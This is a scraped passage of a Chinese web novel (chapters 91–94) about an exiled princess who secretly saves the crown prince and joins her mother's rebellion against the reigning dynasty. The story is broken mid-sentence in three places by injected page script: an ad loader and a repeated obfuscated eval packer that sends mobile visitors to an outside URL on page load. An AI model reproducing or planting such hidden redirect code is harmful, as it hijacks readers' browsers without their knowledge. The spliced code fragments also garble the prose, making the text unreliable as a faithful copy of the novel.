下一刻,江御暮的手便勾上了他的腰带,摸索着想要解开它。 穆归衡顿时失措,推开她质问道:“你这算什么?羞辱我吗!” 江御暮的目光毫无旖旎之态,语气亦无波无澜:“我是在救你。” “救我?”穆归衡怒极反笑,“时至今日,你要我如何信你?” “你当然可以不信。”江御暮松开手,后退两步让开出门的路,“你若想走,我不会阻拦。你大可赌上性命,试一试自己能否活着走出这片山寨。” 穆归衡冷笑一声,半猜测半试探道:“小殿下,这片山寨里的所有人不都是听你号令行事的么?你若真心放我走,他们还能擅自杀我不成?” 江御暮避而不答,抱臂道:“随你怎么想,反正现在只有我一个人能救你。” 穆归衡望着这双熟悉而又陌生的眼睛,自嘲般扯了扯嘴角。 真没出息。 都被骗到这个地步了,竟然还是愿意信她一次。 冷静 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下来深入想想,其实她的话也不无道理。 宁问归和兵士们为何只称她为“小殿下”,而非直接称作“殿下”? 是不是意味着——在这片山寨里,“殿下”另有其人,而且话语权比江御暮更大呢? 也许那位“殿下”想杀穆归衡,但江御暮愿意救他一命? 可是,她为什么愿意救他? 穆归衡问出这个问题以后,江御暮安静了很久,久到他已经觉得她不会回答了。 “因为——”但她还是给出了回答,“我们是同一个世界的人。” “这算什么理由?”穆归衡不满道。 “那你想听什么理由?”江御暮又露出了令他心烦的微笑,“因为我爱你,不舍得你死?” 我爱你。 她从未对他说过这三个字。其实穆归衡也一样不曾对她说过,或者说,不曾在她醒着的时候当面说过。 这三个字的分量太重,如今被她当作笑话似的讲出来,竟显得有些荒诞。 “何必呢?”江御暮收起笑容,垂下目光,“反正你我之间的关系已然不可能回到从前了,现在说这种甜言蜜语又有什么意义。” 穆归衡没有反驳。 回不去了吗?或许是吧。 但那又如何?从前那段关系看似紧密,实则由无数的谎言构成。所谓回到从前,不就等于回到虚假的幻梦里吗? 至少现在,他能看到真实的她。 “你要如何救我?”穆归衡问。 江御暮从衣柜里翻出一身衣裳扔给他:“把这个换上。” 穆归衡没有即刻照做,似乎直到此时才顾得上观察这间屋子。 此屋不算很大,布置得像一间卧房,但陈设单调简朴,看不出屋主人的喜好。 “这是你的卧房?”穆归衡问。 “是。”江御暮答。 穆归衡知道这种问题很不合时宜,但还是忍不住问道:“你的屋子里怎么会有男人的衣裳?”还是护卫穿的那种。 江御暮剜他一眼:“你的问题若总是这样无聊,我就一个字都不回答了。” 穆归衡只得作罢,老老实实换上这身衣裳。换完才发觉它十分合身,大约是江御暮专门为他准备的。 他正欲询问接下来怎么做,就听江御暮对门外唤道:“时异,进来。” “小殿下,您有什么吩咐?”时异马上应声进屋,顺手关上房门。 江御暮面无表情:“去给太子殿下倒杯茶。” “是。” 时异心下纳罕,却没有表现出来,随即去桌边倒茶。 江御暮无声绕行至他身后,从袖中抽出一把短刀,以极快的速度捅入时异背后。 短刀被抽出以后,痛意才晚一步袭来,时异扶着桌子边缘转身看向江御暮,还没来得及问一句“为什么”,第二刀便已刺入了他的心脏。 穆归衡被眼前的这一幕惊呆了,下意识上前几步,只见时异双目通红,很快就倒地不起了。 江御暮拿起桌上的长剑,挑起一旁的太子袍服盖在时异身上,对准致命部位刺出最后一剑。 时异彻底闭上双眼之前,听到的最后一句话便是—— “你以为,我当真不知道你在为谁效力吗?” 她白养了他这么久。 如今,总算派上用场了。 91. 假护卫掩面翻醋瓶,毒王爷献汤…… 江御暮用太子袍服的一角擦净手上鲜血,摘下时异的面具,走到穆归衡身前。 “重新认识一下吧。” 她把面具递给他。 “这才是真正的江御暮。” 穆归衡没有接她递来的面具,只注视着江御暮的双眼靠近她半步,伸手拭去溅在她脸上的血滴。 眉峰,眼尾,脸颊,鼻尖。 他擦拭得仔细,手指在鼻尖停顿片刻,最终向下寸许,抚上了她的双唇。 江御暮微微一怔,继而抓住穆归衡的手腕,打断他接下来的动作。 “你就没什么话想问我吗?” 穆归衡移目看向倒地身亡的时异,发问时的语气过于平静,甚至让江御暮有些诧异。 “他是谁的人?” 江御暮不答反问:“你猜不到么?” 穆归衡垂眸看向她手中的面具:“我从今日才开始认识你,自然不知道你在今日以前有过哪些仇家,又当从何猜起呢?” 似嗔似怨,语气虽然冷淡,却总是透着委屈。 江御暮不习惯处理这些情绪,便佯装未察,正色道:“他是穆归礼的人。” 语毕,还忍不住阴阳怪气地补上几句:“赤胆忠心,天地可鉴。如今以太子的身份丧命,倒也算是死得其所了。” 穆归衡追问道:“你是何时知晓他身份的?” “一开始就知道。” 静默片刻,穆归衡又问:“既然如此,你为何要将他留在身边,长达数月之久?” 江御暮躲开他的目光,走开两步将面具扔在桌上,没有回答这个问题。 穆归衡却不依不饶,大步追到她身边,目光紧锁她的双眸不放。 “因为你早就做好了决定,让他代我受死,对不对?” 也许她背后那位“殿下”一早就下了命令——太子穆归衡必死无疑。但是至少,江御暮从一开始就在为他谋算生路。 也许,她对他的情意并不全是假的。 面对穆归衡殷切的祈盼,江御暮偏不说出他想听的答案,嘴硬道:“人尽其用罢了。他自己送上门来找死,我便成全了他。顺便救你一命,就当还人情了。” 穆归衡正欲反驳,却被一阵敲门声打断。 “小殿下。”门外是宁问归的声音,“时辰到了,殿下派我来看看情况如何。” 江御暮闻言给穆归衡使了个眼色,目光落在桌上的面具上。 纵然心里还别扭着,穆归衡却也不愿辜负她一片好意,于是乖乖戴上面具,默默站去一边。 与江御暮擦肩而过时,他还听见她吩咐了一句:“别出声。” 这样发号施令的语气,使他忽而想起湖心诗会那日,江御暮向士子们甩出的一记眼刀。那是穆归衡第二次对她心动的时刻。 真没出息。他又一次这样讽刺自己。 江御暮并不知他心内这番天人交战,很快打开屋门,对宁问归道:“进来说话。” 宁问归一进门就敏锐察觉到气氛有点古怪,垂眸向地上的尸体看去,立刻便明白过来了。 他认得时异的脸,江御暮似乎也没想瞒他。 “想说什么就说吧。”她抱臂倚在门边,微微抬着下巴看向他,“你这性子,倘若有话憋着不说,是真能憋死过去。” 宁问归的目光在时异和穆归衡之间转了几个来回,对江御暮轻笑道:“这招以桃代李骗得过旁人,只怕骗不过殿下。” “我本来就没想骗她。”江御暮理直气壮道,“等这边的麻烦消停了,我马上就去向她请罪。” 作为她口中的“麻烦”,穆归衡的确很难消停下来,明明刚被吩咐了“别出声”,却没能遵守她的指令。 “请罪?”穆归衡上前两步,插话道,“你方才为何不告诉我,你会因救我一命而获罪?” 一句话引得另外两人同时侧目。 江御暮无奈一叹:“不是说了让你别出声吗?” 顿了顿,又沉下脸补上一句:“在我身边,话太多的人可是活不长的。” 穆归衡不与她争辩,转而对宁问归急切询问道:“你们那位殿下究竟是何许人也?会如何怪罪她?” 宁问归闻言,朝江御暮投去一个颇为意外的眼神:“小殿下,你还没告诉他啊?” 江御暮白他一眼,嗔道:“你最巧舌如簧,干脆你替我告诉他好了。” 宁问归赔了个笑脸:“正话反话呀?我怎么觉得你是在讽刺我呢?” 这两人相互揶揄之际,穆归衡的表情转瞬几变,或不忿,或嫉妒,或酸涩,或怅然,全都被面具遮得严严实实。 如今看来,他们的关系可真够亲近的。从前那种合不来的样子,多半也是演给外人看的吧。 哼,外人。 穆归衡竟白担了她夫君的名号,到头来,还是江御暮眼中的“外人”。 他不得不好奇,宁问归在她身边又是一种什么样的存在? 他虽一口一个“小殿下”唤着,但明眼人都瞧得出来,江御暮与他的关系不似主仆,更像密友。 想到这里,穆归衡无声一声,扯了扯嘴角。 也许他早该想明白的。 比武招亲时,江御暮之所以向陶瑛哭诉自己不愿与宁问归成婚,就是为了激他出手“相助”。 如果穆归衡没有横插一杠,搬出赐婚圣旨来“英雄救美”,这场招亲又该如何收场? 她和宁问归……会不会就这样假戏真做了呢? “行了行了,做戏做全套。”宁问归突然如是说道,同时向一旁推了推江御暮,“你先歇着吧,剩下的事交给我。” 江御暮乐得清闲,慢慢踱步至穆归衡身旁。 “他要做什么?”穆归衡问。 江御暮不假思索道:“当然是给穆归衡的尸体穿上太子袍服了。” 说着,她扭头看向他,仿佛一切都理所应当:“你不去搭把手吗?时异。” 穆归衡等待片刻,见宁问归果然如她所说那般行事,旋即冷笑一声,话里有话道:“你倒是了解他,真不愧是知根知底的。” 语毕赌气般走远几步,似是不愿上前帮忙。 江御暮当然猜得出穆归衡在生什么气,但她也是个犟骨头,如今好容易回到自己的地盘上了,怎么可能放下身段去哄他呢? 她走到宁问归身旁,低声吩咐了几句,而后推门离开,没给穆归衡留下一个眼神。 待她走远,穆归衡才去找宁问归搭话。 太子袍服形制繁复,宁问归一个人摸索了半晌,还没搞清楚那些长短不一的衣带应该分别系在何处。幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947978|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而穆归衡生够了闷气,愿意来搭一把手,否则他还真搞不定。 “她……去哪了?”迟疑许久,穆归衡就憋出来这么一句。 宁问归没有看他,仍旧低着头忙于给尸体穿衣,没好气道:“还能去哪?去请罪了呗。” 穆归衡张了张口,还没出声,就听宁问归继续说道:“你就放一百八十个心吧,殿下不会怪罪御暮的。” “御暮?”穆归衡好不容易消下去的气又被这个称呼勾了上来,“阁下直呼你们‘小殿下’的闺名,怕是有些僭越逾礼,以下犯上吧?” 宁问归这才抬眼看他,继而露出一个挑衅的微笑:“即便当着殿下的面,我也敢直呼御暮的闺名。你呢,现在还有这个资格吗?小、时、护、卫?” 穆归衡不愿输了气势,直直对上他的目光道:“有没有资格,她说了才算。” 宁问归收起笑容,表情立时变得严肃起来,连声音都比平常沉稳了不少。 “穆归衡,你听好了。” “她愿意救你一命,是她心善,但这种善念于她而言根本就是一种负累。” “你若还念点旧情,不想拖累她,就把你那盏不合时宜、也不合身份的醋瓶子捂好了,别让旁人闻见酸味。” “从今以后,会有越来越多双眼睛盯着她。你若再像方才那样,动辄给御暮甩脸子,被那些眼睛察觉了破绽,我定当亲手替她除了你这个祸患。” “我告诉你,穆归衡,太子殿下。别觉得她从前骗了你,就如何对不住你。归根结底,这都是你们穆家欠她们的。” “你父皇身上背着那么多血债,御暮不要求父债子偿,不用你的性命祭奠先祖,已是无比宽仁了。” 听到此处,穆归衡终于从纷乱的线索中抓住了一条关键信息。 皇帝身负血债,穆家亏欠江家。 穆归衡儿时的一段回忆忽而涌上心头——某日刑场处决“前朝余孽”,众皇子皆在场围观。 所有人犯都被判处了凌迟之刑。 凄厉的惨叫声此起彼伏,久久不绝,其中有一人的遗言使穆归衡格外印象深刻。 “穆明狗贼!你鸩杀先太后,诱杀长公主,纵使瞒得过世人,也瞒不过苍天!” 就是因为这番话,他成了当日唯一一个被即刻斩首的人犯。 也许是因为皇帝不想,也不敢再让他说下去了。虽然世人皆知他得国不正,但几乎所有人都以为先太后死于疾病,长公主战死沙场。 背后的真相究竟如何,从来没有人能讲清楚。 “御暮她……”穆归衡指尖微颤,难以平静,在发问之前就已经有了答案,“她是前朝皇室的血脉?” 宁问归没有正面回答,只道:“再过一段时日,你便也是‘前朝皇室’的血脉了。” 就在这天晚上,皇帝睡前喝下的安神汤里,被他最亲近的儿子加了一味料。 “本王既然答应了要替王妃报仇,便得说到做到。”穆归礼这样解释自己的行为。 “恭喜殿下。”费红英最后一次掷出铜板,“据微臣推算,今夜便是太子殿下的死期。待陛下毒发身亡,太子殿下的死讯便也该传到京城了。” 待到那时,这天下便是穆归礼的天下了。 有国师相助,矫诏登基还不是易如反掌? 92. 长公主暂容替死鬼,演武场初闻…… 长公主的卧房也不大,远不及她曾经的寝殿。 当年她带领一支残部逃入寻雁山后,众人依山建寨,筑屋只求实效,并不讲究排场。 当然,更重要的还是安全二字。 对于在明面上已然身死的她而言,涵州城外的寻雁山就是唯一安全的去处。 因为这里是她母亲——先太后江远筝的故乡。即便风筝一夕坠落,牵在她与故土之间的暗线也永远不会断绝。 自从回到母亲的故乡,她便开始有意识地避免使用自己原来的名字。 提及“镇国长公主”,人们都知道她是江远筝唯一的女儿。太后的追随者大多“爱屋及乌”,愿意继续追随她的孩子,守护她的血脉。 但若提起长公主的本名,她与太后分属两姓的事实便会成为众人心头的一根刺。 若要牢牢握住母亲留下的政治资源,最干脆利落的“投名状”当然是改名换姓,让自己彻底成为江家的一份子。 但若如此行事,她又会失去父皇一脉的“正统”地位。来日举旗复国,定会被有心之人抓住这一点大做文章。 身临这般进退维谷的境地,凭她一人之力,终究难有两全之策。 所以,她需要一个孩子。 所以,这世上便多了一个江御暮。 她是长公主留给江家的一份许诺,一份契约。从某种意义上讲,比起长公主,先太后的拥趸们更愿意将心底隐秘的希冀寄托在江御暮身上。哪怕彼时她还是襁褓里的小小婴孩。 皇位易主的那一天来得比长公主预料中更早。穆明登基之初,皇位坐得并不安稳。许多官员仍旧心系故国,罢朝辞官者数不胜数。 在长公主的授意下,涵州刺史周望安最先递上奏折,表示愿意归顺新朝。皇帝大喜,召周望安进京面圣,本欲赏他个二品京官做,周望安却婉言谢绝了。 皇帝又问他想要什么赏赐,此问正中其下怀。 “微臣在涵州任职已近五年,对此地的百姓感情颇深,不忍离别。因而想向陛下求个恩典,让微臣在涵州多留几年,不再按期迁调别地。来日若能在此地致仕,微臣这一生便再无遗憾了。” 按前朝的规矩,刺史一级的官员每隔五年便要调动,以防其势力渐渐坐大,难以管控。 但彼时周望安已是年逾花甲的老臣,在皇帝看来,只怕他也没几年活头了。这样一把老骨头,还有什么可防的? “也罢,念在你是头一个向朕表明忠心的贤臣,朕就赏你这个恩典了!” 他哪里能想到,周望安竟然一直活到了近二十年后的今天。 或者说,周望安的身份一直活到了今天。 而他本人,则死于六十四岁那年的一场大病。 此后每隔几年进京面圣,都是与他身形相近之人易容后顶替他去的。 皇帝不明内情,还曾感叹他多福多寿,如此高龄还能将涵州治理得井井有条,税收颇丰。 他不知道的是,涵州真实的人口比户部记档的数字多出千户有余,只是他们大多不在涵州城内——年轻力壮者,一部分留在寻雁山里练兵演武,另一部分充作涵州的城防兵,以待来日;年事渐高者分批下山,聚村而居,垦田种地,织布裁衣,为山上的人们提供充足的生活物资。 而他们之所以用“山匪抢粮”的方式交接这些物资,一方面是为了防止外人察觉这些村民本就“与山匪同流合污”,另一方面也是为了把所谓“山中恶匪”的名声传扬出去,让附近的百姓都不敢靠近寻雁山,以便守住寨中更深的秘密。 时至今日,这个秘密终于快要揭开了。 “回禀母亲,太子穆归衡已然身死。”江御暮跪在长公主面前,俯身下拜,“女儿特来向母亲请罪。” 乍闻此语,长公主先是投去一个疑惑的眼神:太子死了,你跟我请的是哪门子罪? 片刻之后,她似是猜到了什么,随即发出一声无奈的轻叹。 “还有旁人知道吗?”真正的穆归衡尚未丧命的事。 江御暮直起身子,抬首答道:“义兄知道。他正在……让假太子变成真太子。” “这孩子……”长公主伸手拉起江御暮,嘟囔着埋怨道,“怎么也陪着你胡闹。” “母亲莫怪义兄。”江御暮连忙维护自己的共犯,“是我先承诺了会来跟您言明实情,义兄才答应帮我遮掩此事的。” 长公主不置可否,话锋一转道:“你费姨猜得还真没错。” “费姨?她跟您说了什么?”江御暮好奇道。 “说你定然不忍下手,多半会给太子找个替死鬼。”长公主直视着女儿带着愧意和自惭的双眼,无可奈何道,“到时候,还得劳动你费姨出马,给那只倒霉的替死鬼换张脸。” “是女儿自作主张,带来诸多麻烦。”江御暮又垂下了头,低声求情道,“但求母亲高抬贵手,放他——” 等等。 母亲刚才说什么? 到时候,还得劳动费姨给时异易容,换上太子的脸? 也就是说,她默许了江御暮以桃代李,愿意放真正的太子一条生路? 江御暮愕然抬眸,对上母亲全无责怪之意的目光,一时不知该说些什么好。 半晌,还是长公主先开口。 “御暮,你对母亲说句实话。”她的语气温柔而平和,却使人无法忽视其内隐藏的锋芒,“你不愿取穆归衡性命,当真只是因为不忍吗?” 江御暮在母亲面前从不说谎。她知道,即便自己的谎言再如何精妙,母亲也能轻易看穿真相。 “因为我对他有情。” 她不愿在穆归衡面前承认这一点,不代表她看不清自己的心意。 听到这句话,长公主的眼神果然冷了下来。 江御暮旋即补充道:“女儿知道此情有害无益,绝不会沉溺其中。今日我救他一命,便算作与他恩怨全清。待太子身死的消息传扬开来,我便放他远走,自此江湖不见,情义两绝。” 长公主平视着她的双眼,对此未置一词。 “但请母亲放心。”江御暮忙又解释起来,“且不说他心无权欲,早有金蝉脱壳、远遁江湖之思。就算他性情突变,脱身后仍以太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13957900|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之名行事,也不可能翻起什么风浪。一来太子本就恶名昭著,不得民心,二来穆归礼即将上位,定然容不得前太子在外招摇。” 话都说到这份上了,长公主自然看得出来,女儿这是铁了心要保住女婿的性命。 也罢,就容她自作主张一回。她们母女之间,总不能为了个外人生出嫌隙。 反正穆归衡迟早有一日要离开江御暮,待这两人断了联络,她再暗中派人斩草除根便是。 …… 次日一早,吴元贞带队将前夜被俘的百名禁军悉数押往寨内的演武场。 抬头向前方的高台看去,曾经与他们朝夕相处的太子妃如今已作武人打扮,俨然是这些山匪中的头目。 她身后立着一面战鼓,身前摆着硕大的铡刀,刀刃时而闪过阴冷的寒光,观之可怖。 此刻已有几名禁军变了脸色,心道:难不成,这些山匪要铡了我们的脑袋? 还未来得及细想,众人就听江御暮厉声道:“带上来!” 循声望去,只见一身着太子袍服者被人架上了高台。 那身衣袍已然被血液浸透大半,几处破洞均在致命部位。显然,此人已经死去几个时辰了。 那尸体虽然低着头,但因身处高台之上,下方的禁军们都能看清他的面容。 “太子殿下?” “是太子殿下!” 惊呼声久久不断,如浪潮般一声高过一声。 江御暮拿起鼓槌,重重敲响战鼓。巨大的声响盖过嘈杂的人声,禁军们似是意识到了事将有变,不约而同地闭起了嘴,静观其变。 随着鼓声有节奏地敲响,一面面战旗依序展开,从高台中心分两线而行,直至环绕整座演武场。 旗帜一面为玄色,宛若夜空的碎片随风而摆,另一面为赤色,仿佛由鲜血染成,诉不尽累债深仇。 旗上以金漆书写“得月”二字,无需多言,一观便知其意。 阵阵鼓声中,一位方额广颐,身着甲胄的中年女子登上高台,举手投足颇有大将之风。 鼓声一停,众人皆朝着高台的方向下拜行礼,高呼“参见镇国长公主殿下。” 禁军们也被强压着跪了下去,互相交换几个眼神,都在对方的脸上看到了和自己同样的疑惑—— 这个中年女子竟是前朝的镇国长公主? 可是,那位长公主殿下不是早就战死沙场了吗? 难道她死里逃生,一直活到了现在? 那这些山匪又是怎么回事?难道全都是“前朝余孽”吗? 眼前的一切过于惊人,禁军们没有把握,一时不敢轻信。 高台上,长公主已然道了“平身”,禁军们却还被压着双肩,无法站起,只能勉力抬头向上张望。 长公主正颜厉色,声如洪钟,开口便道:“窃国罪臣穆明忝居天子之位,罪恶昭彰,该当顷刻而讫。众将士!如今时机已成,何惧蔓草难除?今日起事,本殿便斩当朝太子之首级祭旗!” 话音一落,“穆归衡”已被推上铡刀,顷刻之间,冰凉的头颅便滚落在地。 93. 闭瓮城招降景州军,关心门拒见…… 石涅以最快的速度赶到了景州,向景州刺史与参军言明了太子因何故意欲借兵。 景州刺史起初心存顾虑,不敢擅自做出决定。参军梁雄却觉得以皇帝对太子的宠信之深,多半不会怪罪他私自借兵。他们若能成功剿匪,说不定还能挣一份功劳呢。 二人关起门来合议一番,刺史很快就被说服了。 据石涅说,寻雁山上只有区区几百山匪而已。涵州、景州的城防兵加上从京城来的一百禁军,定能一举攻下那座山头。 “但是,要借他们多少兵士呢?”刺史有些拿不准。 梁参军直言道:“听石涅的意思,太子恨不得咱把所有城防兵都带过去。” “那怎么行?”刺史很不赞成,“万一你把人带走以后,有流匪趁机入城作乱,又该如何是好?” 梁参军现下只急着去争功,哪里还顾得了这许多麻烦,草草搪塞道:“这太平盛世的,哪有那么多流匪?就算遇上一个两个小毛贼,衙门不是还有捕快可用吗?” 二人争执半晌,姑且算是达成了一致——东西南北四处城门,每处各留一支十人小队。其余三百五十余名城防兵,随梁雄一起赶赴涵州,听候太子殿下调遣。刺史随即具折,向皇帝言明情况。 因石涅催得很急,梁参军匆匆点齐人数,带着不足五十名骑兵与三百步兵即刻出城,加快脚程赶往涵州,次日黄昏便抵达了城外。 守城门的兵士认出了石涅,连忙对他道:“太子殿下吩咐了,等你们回来,就让吴参军先带景州的弟兄们去校场列阵,还说让你尽快去官署找他,殿下似乎另有要务交你去办。” 石涅不疑有他,先独自进了内城,正好和吴元贞打了个照面,互相随口问候一声便各行各路去了。 走在路上,石涅总觉得今日城内的氛围有些古怪——为何那么多商户都闭门谢客,街上也没什么人走动呢? 路经一处分岔口时,左右两侧的小巷里忽然冲出几名城防兵,不由分说与石涅交起手来。 石涅更觉糊涂,还未想出缘由,便因寡不敌众而草草落败,被人击晕后捆缚起来,很快就失去了意识。 这厢事毕,那厢吴元贞才跟梁参军说完礼节性的客套话,将景州的兵士们往涵州城内引。 梁雄领头而行,吴元贞居于队尾。 一行三百余人先进了瓮城,第一道城门随即关闭。梁雄几度高声叫门,却迟迟不见第二道城门为他们打开。 他有些不悦,回头张望起来,想叫吴元贞来解决这个问题。 瓮城不大,三百余人待在里面已经稍显拥挤了,遑论他们还带着几十匹战马。 目下人头攒动,梁雄半晌没寻到吴元贞的身影,蹙眉喊了几声:“吴参军!?” “梁参军,是在找我吗?” 中气十足的声音从上方传来,众人抬头望去,只见吴元贞已然登上城墙,正平静地望着他们。 百十名弓箭手紧随其后,在城墙上冒出头来,顷刻间围满了整座瓮城。 梁雄顿觉不妙,抽刀直指斜上方,怒喝道:“吴元贞,你要干什么!” 吴元贞笑了一声,慢悠悠道:“冷静点,别冲动。”语毕后退几步,下方的人便看不见他的身影了。 与此同时,众人的视野里出现了另外三张全然陌生的面孔。 或者应该说……四张面孔? 但那第四个人只剩一颗头颅,被挂在长矛上。与它挂在一起的还有一身染着大片血迹的袍服,观其纹样,竟是唯太子可用的形制。 眼尖的兵士们很快就发现了这一点,顿时议论纷纷。他们并未见过太子,不知他样貌如何,但是一见到这身衣裳,便对那颗头颅之主的身份有了猜测。 一片哗然中,领头的那名中年女子率先开口,证实了他们的猜测。 “正如诸位所见,当朝太子穆归衡已被本殿枭首!” 语毕,她身旁穿着赤衣轻甲的年轻女子高高举起一面战旗,旗上的国号引得下方众兵惶惑不安。 梁雄举刀的手渐渐放下,似乎有些不敢置信,壮着胆子高声喊道:“敢问阁下是何许人也?” 那中年女子没有回应,她身旁穿着玄衣轻甲、手举长矛的年轻男子代她答道:“此乃得月国镇国长公主殿下!” 此语一出,下方又是一阵嘈杂。 长公主向前一步,抬起右手。城墙上的兵士们收到信号,随即张弓搭箭,箭尖直指瓮城之内。 众人眼见情势危急,奈何无处藏身,一时都慌乱起来。 梁雄咽了口唾沫,努力克制着心底的畏怯,逼自己表现得更加气定神闲,双目牢牢盯住长公主的面庞。 他在赌。 赌她不会即刻下令放箭。 赌她不会轻易弃掉瓮城内的三百精兵。 “如今,本殿给你们两条路。” 听到长公主说出这句话,梁雄便知自己赌对了。 “第一条路——转投本殿麾下,随本殿一同攻入京城,光复得月。” “第二条路——” 说着,她朝宁问归手中的长矛看去,目光逐渐移向悬在长矛上的头颅。 “为你们的太子殿下陪葬。” 其实从她给出第一条路开始,便已经有许多人蠢蠢欲动了,只是没人愿意做这个出头鸟。 且不说这位“长公主”是真是假,就算她是真的,贸然起兵攻京又能有几分胜算? 倘若转投她的麾下,胜了自然是好,“光复故国”的旗号说出去也光彩。可是,万一败了呢?他们岂不是就变成叛国谋反的“前朝余孽”了? 等待半晌,无人应声。 江御暮主动上前一步,站在母亲身边,开口道:“如诸位所知,涵州城内现有百名禁军,原自京城而来。时至今日,其中已有八十七人弃暗投明,归顺得月。” 那么,余下的十三人呢? “六人宁死不降,四人降而复叛,三人诈降欲逃。” 说到此处,她顿了顿,再开口时,语气变得更为冰冷。 “此十三人,已被尽数斩杀!” 常言道,射人先射马,擒贼先擒王。江御暮紧接着便望向景州参军梁雄。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967812|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“梁参军,不知阁下今年贵庚?” 梁雄突然被她拎出来问话,先是一愣,显然有些意外。好在他还算配合,或许是因为他已经猜到了江御暮为什么要问自己的年龄。 “末将今岁三十有四!” 短短一句话,已经隐晦地表达了他的选择。 末将。 倘若他坚持不愿归降,方才答话时就应该自称“本将”,而非“末将”。 江御暮也听懂了他的暗示,微微一笑道:“故国覆亡至今尚不满二十载,梁参军,你也曾是我得月国的子民啊。” 二人远远对视良久,梁雄终于将自己的佩刀收入刀鞘,下马参拜。 “末将梁雄,愿为长公主殿下效力,再兴故国!” 于情于理,他都没有理由拒绝她们的拉拢。 反正梁雄本就是为了争功才来涵州的,纵观古今,还有什么功劳能大得过从龙之功呢? 眼见参军已然率先归降,众兵士大多紧随其后,接连下拜,只剩一小部分人仍在抗拒。 不多时,他们的尸体便成了昔日同僚向新主表忠心的投名状。 …… 是夜。 宁问归又去给被软禁的穆归衡送饭。为着这事,他已经跟江御暮抱怨过好几次了。 “小殿下,我好歹也占着您义兄的名头,按辈分算来,怎么着也比您的亡夫高半级吧?凭什么总让我给他送饭啊?” 江御暮不以为意道:“除了你,知晓他身份的人便只有我娘、费姨和我,你觉得这些人里,有谁比你更适合这差事吗?” 宁问归一脸认真:“有啊,你。” 江御暮斜了他一眼,没接话茬。 不知是真的还是装的,宁问归仿佛读不懂她的脸色,继续说道:“他都让我帮忙传过好几次话了,说想见你一面,你到底去是不去呀?” 江御暮被他惹烦了,拔腿便走,还气呼呼扔下一句:“与你有什么相干?” “怎么不与我相干了?”宁问归三步并作两步追上前去,“你迟迟不去见他,搞得他还以为我对你别有用心,因而刻意从中作梗,不让你们相见呢!” 宁问归实在纳闷,他明明只把江御暮当亲妹妹看待,行事坦荡磊落,穆归衡为什么总把他视作潜在的仇敌?比起他这个义兄,难道不是某个没把江御暮当成亲姐姐看待的人更值得提防吗? 江御暮顿住脚步,垂眸道:“那你就让他继续误会下去吧,甚至可以让他误会得更深些。比如骗他说……你我婚期将近,让他趁早断了旧情。如此,于他于我都是好事。” 宁问归被她口中轻飘飘的“婚期将近”四个字噎得一愣,摇头叹道:“姑奶奶,您是真不心疼我啊。拿这种话骗他,就不怕他气上心头,一剑捅死我?” 江御暮一本正经道:“他的佩剑不是早就被我缴了吗?” 宁问归啧了一声:“我就是那么一说,你明白意思就成。” “放心吧。”江御暮继续往远处走去,“他没那么疯。” 宁问归望着她的背影摇头一叹:“嗯……难说。” 94. 宁问归扯谎传婚讯,穆归衡执剑…… 自打回到涵州城,穆归衡就被软禁在了一家客栈里。 旺财比他来得更早些,是穆归衡“出兵剿匪”那晚,官署的人奉江御暮之命送它来的。 因为被照顾得很好,顿顿有肉吃,所以旺财并不觉得待在这有什么不好,故而显得有些没心没肺,几乎成了这家客栈的看门狗,与众人相处得十分融洽。 若是想念主人了,旺财亦可随时上楼去找穆归衡,门口的卫兵自会替它开门,与在太子府时没什么不同。 客栈掌柜名唤谭昭,穆归衡起初只觉得这名字有些熟悉,直到某日通过窗户的缝隙,看见早已“病逝”的江淮照出现在客栈的后院里,他才恍然想起——谭昭是江御暮的“母亲”,或者应该说,是她的表舅母。 在他们二人眼中,被软禁于自家客栈内的蒙面男子并非穆归衡,而是江御暮的护卫时异。 至于他犯了什么错,为什么要被关起来,谭昭和江淮照都很识趣,从来没有打听过。 没过多久,石涅也被关了进来,但他和穆归衡的房间离得很远,没机会交谈,甚至连彼此的存在都不知道。 石涅那边自有谭昭关照,穆归衡因身份特殊,只能由宁问归定期送些饭食。 穆归衡无从得知外界发生了什么,只知江御暮一次又一次拒绝与他见面。 “为什么?”他需要一个原因,“她还在生我的气吗?” 是因为上次见面时他态度冷硬,对她说了那些不中听的话,使她厌烦了? 可是彼时他刚刚发现自己掉进了她的陷阱,正在气头上,自然难以心平气和地与她相处。 遑论他当时还吃着宁问归的醋,本想讨她几句软话,哪怕只是一句简单的解释,让他别误会也好。谁知她扭头就走,全然没有半分留恋之意,穆归衡自然愈发气结。 可是经过这些时日的沉淀,他已然想通了许多事,亦有许多话想告诉她,奈何一直没有机会。 